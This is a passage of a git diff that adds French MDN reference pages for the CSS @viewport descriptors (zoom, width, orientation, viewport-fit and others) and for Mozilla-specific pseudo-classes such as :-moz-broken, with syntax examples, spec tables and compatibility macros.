+   <td>{{SpecName('CSS3 Device', '#descdef-viewport-max-width', '"max-width" descriptor')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.viewport.max-width")}}</p>
diff --git a/files/fr/web/css/@viewport/max-zoom/index.html b/files/fr/web/css/@viewport/max-zoom/index.html
new file mode 100644
index 0000000000..605f8a25fb
--- /dev/null
+++ b/files/fr/web/css/@viewport/max-zoom/index.html
@@ -0,0 +1,69 @@
+---
+title: max-zoom
+slug: Web/CSS/@viewport/max-zoom
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <strong><code>max-zoom</code></strong>, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir le niveau de zoom maximal au-delà duquel le navigateur n'augmentera pas le niveau de zoom (que ce soit une action automatique ou une action de l'utilisateur).</p>
+
+<p>Un facteur de zoom égal à <code>1.0</code> ou à <code>100%</code> correspond à l'absence de zoom. Si on utilise des valeurs supérieures, cela correspondra à un niveau de zoom plus élevé. À l'inverse des valeurs inférieures traduiront un « dézoom ».</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeur avec un mot-clé */
+max-zoom: auto;
+
+/* Nombres : type &lt;number&gt; */
+max-zoom: 0.8;
+max-zoom: 2.0;
+
+/* Valeurs proportionnelles : type &lt;percentage&gt; */
+max-zoom: 150%;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>L'agent utilisateur détermine la limite du niveau de zoom applicable pour le document.</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>Un nombre positif qui correspond à la limite haute du niveau de zoom (cf. {{cssxref("&lt;number&gt;")}}).</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un pourcentage positif qui correspond à la limite haute du niveau de zoom (cf. {{cssxref("&lt;percentage&gt;")}}).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#max-zoom-desc', '"max-zoom" descriptor')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.viewport.max-zoom")}}</p>
diff --git a/files/fr/web/css/@viewport/min-height/index.html b/files/fr/web/css/@viewport/min-height/index.html
new file mode 100644
index 0000000000..016800c563
--- /dev/null
+++ b/files/fr/web/css/@viewport/min-height/index.html
@@ -0,0 +1,76 @@
+---
+title: min-height
+slug: Web/CSS/@viewport/min-height
+tags:
+  - '@viewport'
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <code><strong>min-height</strong></code>, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir la hauteur minimale de la zone d'affichage (<em>viewport</em>) d'un document.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Avec un mot-clé */
+min-height: auto;
+
+/* Valeur de longueur */
+/* Type &lt;length&gt;      */
+min-height: 400px;
+min-height: 50em;
+min-height: 20cm;
+
+/* Valeur proportionnelle */
+/* Type &lt;percentage&gt;      */
+min-height: 75%;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd><a href="/fr/docs/Web/CSS/Valeur_utilisée">La valeur utilisée</a> est alors calculée selon les valeurs des autres descripteurs.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur absolue ou relative représentant une longueur. Cette valeur doit être positive.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur de pourcentage relative à la hauteur initiale de la zone d'affichage lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@viewport {
+  min-height: 600px;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#descdef-viewport-min-height', '"min-height" descriptor')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.viewport.min-height")}}</p>
diff --git a/files/fr/web/css/@viewport/min-width/index.html b/files/fr/web/css/@viewport/min-width/index.html
new file mode 100644
index 0000000000..d4e7177979
--- /dev/null
+++ b/files/fr/web/css/@viewport/min-width/index.html
@@ -0,0 +1,75 @@
+---
+title: min-width
+slug: Web/CSS/@viewport/min-width
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <code><strong>min-width</strong></code>, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir la largeur minimale de la zone d'affichage (<em>viewport</em>) d'un document.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Avec un mot-clé */
+min-width: auto;
+
+/* Valeur de longueur */
+/* Type &lt;length&gt;      */
+min-width: 400px;
+min-width: 50em;
+min-width: 20cm;
+
+/* Valeur proportionnelle */
+/* Type &lt;percentage&gt;      */
+min-width: 75%;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd><a href="/fr/docs/Web/CSS/Valeur_utilisée">La valeur utilisée</a> est alors calculée selon les valeurs des autres descripteurs.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur absolue ou relative représentant une longueur. Cette valeur doit être positive.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur de pourcentage relative à la largeur initiale de la zone d'affichage lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@viewport {
+  min-width: 600px;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#descdef-viewport-min-width', '"min-width" descriptor')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.viewport.min-width")}}</p>
diff --git a/files/fr/web/css/@viewport/min-zoom/index.html b/files/fr/web/css/@viewport/min-zoom/index.html
new file mode 100644
index 0000000000..03c28cdb64
--- /dev/null
+++ b/files/fr/web/css/@viewport/min-zoom/index.html
@@ -0,0 +1,69 @@
+---
+title: min-zoom
+slug: Web/CSS/@viewport/min-zoom
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <strong><code>min-zoom</code></strong>, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir le niveau de zoom minimal en-dessous duquel le navigateur ne réduira pas le niveau de zoom (que ce soit une action automatique ou une action de l'utilisateur).</p>
+
+<p>Un facteur de zoom égal à <code>1.0</code> ou à <code>100%</code> correspond à l'absence de zoom. Si on utilise des valeurs supérieures, cela correspondra à un niveau de zoom plus élevé. À l'inverse des valeurs inférieures traduiront un « dézoom ».</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeur avec un mot-clé */
+min-zoom: auto;
+
+/* Nombres : type &lt;number&gt; */
+min-zoom: 0.8;
+min-zoom: 2.0;
+
+/* Valeurs proportionnelles : type &lt;percentage&gt; */
+min-zoom: 150%;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>L'agent utilisateur détermine la limite du niveau de zoom applicable pour le document.</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>Un nombre positif qui correspond à la limite basse du niveau de zoom (cf. {{cssxref("&lt;number&gt;")}}).</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un pourcentage positif qui correspond à la limite basse du niveau de zoom (cf. {{cssxref("&lt;percentage&gt;")}}).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#min-zoom-desc', '"min-zoom" descriptor')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.viewport.min-zoom")}}</p>
diff --git a/files/fr/web/css/@viewport/orientation/index.html b/files/fr/web/css/@viewport/orientation/index.html
new file mode 100644
index 0000000000..24db5063c7
--- /dev/null
+++ b/files/fr/web/css/@viewport/orientation/index.html
@@ -0,0 +1,64 @@
+---
+title: orientation
+slug: Web/CSS/@viewport/orientation
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <strong><code>orientation</code></strong>, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir l'orientation d'un document.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+orientation: auto;
+orientation: portrait;
+orientation: landscape;
+</pre>
+
+<p>Pour les agents utilisateurs et/ou les appareils pour lesquels l'orientation est modifiée en orientant l'appareil, l'auteur pourra utiliser ce descripteur afin d'inhiber le changement d'orientation lié à la stimulation physique.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>L'agent utilisateur déterminera l'orientation du document automatiquement. Généralement, il utilisera l'accéléromètre de l'appareil (si ce dernier en possède un) si le résultat de cette mesure n'est pas modifié par un réglage utilisateur (« bloquer la rotation de l'écran »).</dd>
+ <dt><code>portrait</code></dt>
+ <dd>Le document devrait être verrouillé en mode portrait.</dd>
+ <dt><code>landscape</code></dt>
+ <dd>Le document devrait être verrouillé en mode paysage.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#the-lsquoorientationrsquo-descriptor', '"orientation" descriptor')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.viewport.orientation")}}</p>
diff --git a/files/fr/web/css/@viewport/user-zoom/index.html b/files/fr/web/css/@viewport/user-zoom/index.html
new file mode 100644
index 0000000000..5a7d6eed73
--- /dev/null
+++ b/files/fr/web/css/@viewport/user-zoom/index.html
@@ -0,0 +1,68 @@
+---
+title: user-zoom
+slug: Web/CSS/@viewport/user-zoom
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <strong><code>user-zoom</code></strong>, utilisé dans la règle @ {{cssxref("@viewport")}}, définit si l'utilisateur doit pouvoir modifier le niveau de zoom d'un document dans la zone d'affichage (<em>viewport</em>).</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+user-zoom: zoom;
+user-zoom: fixed;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>zoom</code></dt>
+ <dd>L'utilisateur peut zoomer/dézoomer.</dd>
+ <dt><code>fixed</code></dt>
+ <dd>L'utilisateur ne peut ni zoomer ni dézoomer.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Specifications" name="Specifications">Accessibilité</h2>
+
+<p>Supprimer la possibilité de zoomer empêche les personnes ayant une vision faible de lire et de comprendre le contenu de la page.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Explications des recommendations WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html" rel="noopener">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#the-lsquouser-zoomrsquo-descriptor', '"user-zoom" descriptor')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.viewport.user-zoom")}}</p>
diff --git a/files/fr/web/css/@viewport/viewport-fit/index.html b/files/fr/web/css/@viewport/viewport-fit/index.html
new file mode 100644
index 0000000000..6c07bfb5cc
--- /dev/null
+++ b/files/fr/web/css/@viewport/viewport-fit/index.html
@@ -0,0 +1,74 @@
+---
+title: viewport-fit
+slug: Web/CSS/@viewport/viewport-fit
+tags:
+  - '@viewport'
+  - CSS
+  - Descripteur
+  - Experimental
+  - Reference
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}{{Draft}}{{SeeCompatTable}}</div>
+
+<p>Le descripteur <strong><code>viewport-fit</code></strong>, associé à la règle @ {{CSSxRef("@viewport")}} contrôle la façon dont la zone d'affichage (<em>viewport</em>) d'un document recouvre l'écran.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css; no-line-numbers">/* Valeurs avec un mot-clé */
+viewport-fit: auto;
+viewport-fit: contain;
+viewport-fit: cover;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Cette valeur n'a aucun impact sur la disposition initiale de la zone d'affichage et l'ensemble de la page web est visible.</dd>
+ <dt><code>contain</code></dt>
+ <dd>La zone d'affichage est redimensionnée afin de s'inscrire dans le plus grand rectangle qu'il est possible de faire tenir sur l'écran.</dd>
+ <dt><code>cover</code></dt>
+ <dd>La zone d'affichage est redimensionnée afin de couvrir l'écran de l'appareil. Il est fortement recommandé d'utiliser <a href="/en-US/docs/Web/CSS/env">des variables pour le placement en zone sûre</a> afin de s'assurer qu'aucun contenu important ne se retrouve en dehors de l'écran.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">auto | contain | cover</pre>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>When using the <code>viewport-fit</code> descriptor, one must keep in mind that not all device displays are rectangular, and should therefore make use of the <a href="/en-US/docs/Web/CSS/env">safe area inset variables</a>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Round Display", "#viewport-fit-descriptor", '"viewport-fit" descriptor')}}</td>
+   <td>{{Spec2("CSS Round Display")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.viewport.viewport-fit")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{CSSxRef("env", "env()")}}</li>
+</ul>
diff --git a/files/fr/web/css/@viewport/width/index.html b/files/fr/web/css/@viewport/width/index.html
new file mode 100644
index 0000000000..425c686ccc
--- /dev/null
+++ b/files/fr/web/css/@viewport/width/index.html
@@ -0,0 +1,75 @@
+---
+title: width
+slug: Web/CSS/@viewport/width
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <code><strong>width</strong></code>, rattaché à la règle @ {{cssxref("@viewport")}} est un raccourci permettant de définir les deux descripteurs {{cssxref("@viewport/min-width", "min-width")}} et {{cssxref("@viewport/max-width", "max-width")}}.</p>
+
+<p>Si on fournit une seule valeur, c'est cette valeur qui sera utilisée pour la largeur minimale et maximale de la zone d'affichage (<em>viewport</em>). Si on fournit deux valeurs, la première correspondra à la largeur minimale de la zone d'affichage et la deuxième à la largeur maximale.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css">/* Une valeur de longueur        */
+/* Type &lt;length&gt; ou &lt;percentage&gt; */
+width: auto;
+width: 320px;
+width: 15em;
+
+/* Deux valeurs de longueur */
+width: 320px 200px;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>La <a href="/fr/docs/Web/CSS/Valeur_utilis%C3%A9e">valeur utilisée</a> sera calculée à partir des valeurs des autres descripteurs.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une longueur relative ou absolue qui doit être positive.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur exprimée en pourcentages qui est relative à la largeur de la zone d'affichage (<em>viewport</em>) lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">@viewport {
+  width: 500px;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#descdef-viewport-width', '"width" descriptor')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.at-rules.viewport.width")}}</p>
diff --git a/files/fr/web/css/@viewport/zoom/index.html b/files/fr/web/css/@viewport/zoom/index.html
new file mode 100644
index 0000000000..c9b65e996e
--- /dev/null
+++ b/files/fr/web/css/@viewport/zoom/index.html
@@ -0,0 +1,71 @@
+---
+title: zoom
+slug: Web/CSS/@viewport/zoom
+tags:
+  - CSS
+  - Descripteur
+  - Reference
+translation_of: Web/CSS/@viewport
+---
+<div>{{CSSRef}}</div>
+
+<p>Le descripteur <strong><code>zoom</code></strong>, utilisé au sein de la règle @ {{cssxref("@viewport")}}, permet de définir le niveau de zoom initial d'un document.</p>
+
+<p>Un niveau de zoom égal à <code>1.0</code> ou <code>100%</code> n'appliquera aucun zoom. Les valeurs supérieures zoomeront plus et les valeurs inférieures dézoomeront.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeur avec un mot-clé */
+zoom: auto;
+
+/* Valeurs numériques */
+/* Type &lt;number&gt;      */
+zoom: 0.8;
+zoom: 2.0;
+
+/* Valeurs proportionnelles */
+/* Type &lt;percentage&gt;        */
+zoom: 150%;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>C'est l'agent utilisateur qui déterminera le niveau de zoom initial. L'agent utilisateur pourra utiliser la taille de la grille de la zone d'affichage afin de déterminer ce niveau.</dd>
+ <dt><code>&lt;number&gt;</code></dt>
+ <dd>Un nombre positif qui correspond au niveau de zoom appliqué. Pour plus d'informations, voir le type de donnée {{cssxref("&lt;number&gt;")}}.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un pourcentage positif qui correspond au niveau de zoom appliqué (100% : aucun zoom ; les valeurs supérieures traduiront un zoom plus importants ; les valeurs inférieures auront un effet de « dézoom »). Pour plus d'informations, voir le type de donnée {{cssxref("&lt;percentage&gt;")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#zoom-desc', '"zoom" descriptor')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.at-rules.viewport.zoom")}}</p>
diff --git a/files/fr/web/css/_colon_-moz-broken/index.html b/files/fr/web/css/_colon_-moz-broken/index.html
new file mode 100644
index 0000000000..cab1b281e3
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-broken/index.html
@@ -0,0 +1,43 @@
+---
+title: ':-moz-broken'
+slug: 'Web/CSS/:-moz-broken'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:-moz-broken'
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("1.9")}}</div>
+
+<p>La <a href="/en-US/docs/Web/CSS">p</a><a href="/fr/docs/Web/CSS/Pseudo-classes">seudo-class CSS</a> <code>:-moz-broken </code>s'adapte aux éléments qui représentent des liens cassés vers des images.</p>
+
+<p>Ce sélecteur est principalement destiné à être utilisé par les développeurs de thèmes.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">:-moz-broken</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;img src="broken.jpg" alt="Cette image ne fonctionne pas. :-("&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">:-moz-broken {
+  background: bisque;
+  padding: 8px;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{bug("11011")}}</li>
+ <li>{{cssxref(":-moz-loading")}}, {{cssxref(":-moz-suppressed")}}, {{cssxref(":-moz-user-disabled")}}</li>
+</ul>
diff --git a/files/fr/web/css/_colon_-moz-drag-over/index.html b/files/fr/web/css/_colon_-moz-drag-over/index.html
new file mode 100644
index 0000000000..f8ef38f055
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-drag-over/index.html
@@ -0,0 +1,44 @@
+---
+title: ':-moz-drag-over'
+slug: 'Web/CSS/:-moz-drag-over'
+tags:
+  - CSS
+  - Non-standard
+  - Pseudo-classe
+  - Reference
+translation_of: 'Web/CSS/:-moz-drag-over'
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>La pseudo-classe <strong><code>:-moz-drag-over</code></strong> permet de mettre en forme un élément lorsqu'un événement <code>drag-over</code> est appelé dessus.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>element</var>:-moz-drag-over { <em>propriétés de mise en forme</em> }
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">td:-moz-drag-over {
+  color: red;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;table border="1"&gt;
+  &lt;tr&gt;
+    &lt;td width="100px" height="100px"&gt;Drag Over&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.</p>
diff --git a/files/fr/web/css/_colon_-moz-first-node/index.html b/files/fr/web/css/_colon_-moz-first-node/index.html
new file mode 100644
index 0000000000..fd7e45bb27
--- /dev/null
+++ b/files/fr/web/css/_colon_-moz-first-node/index.html
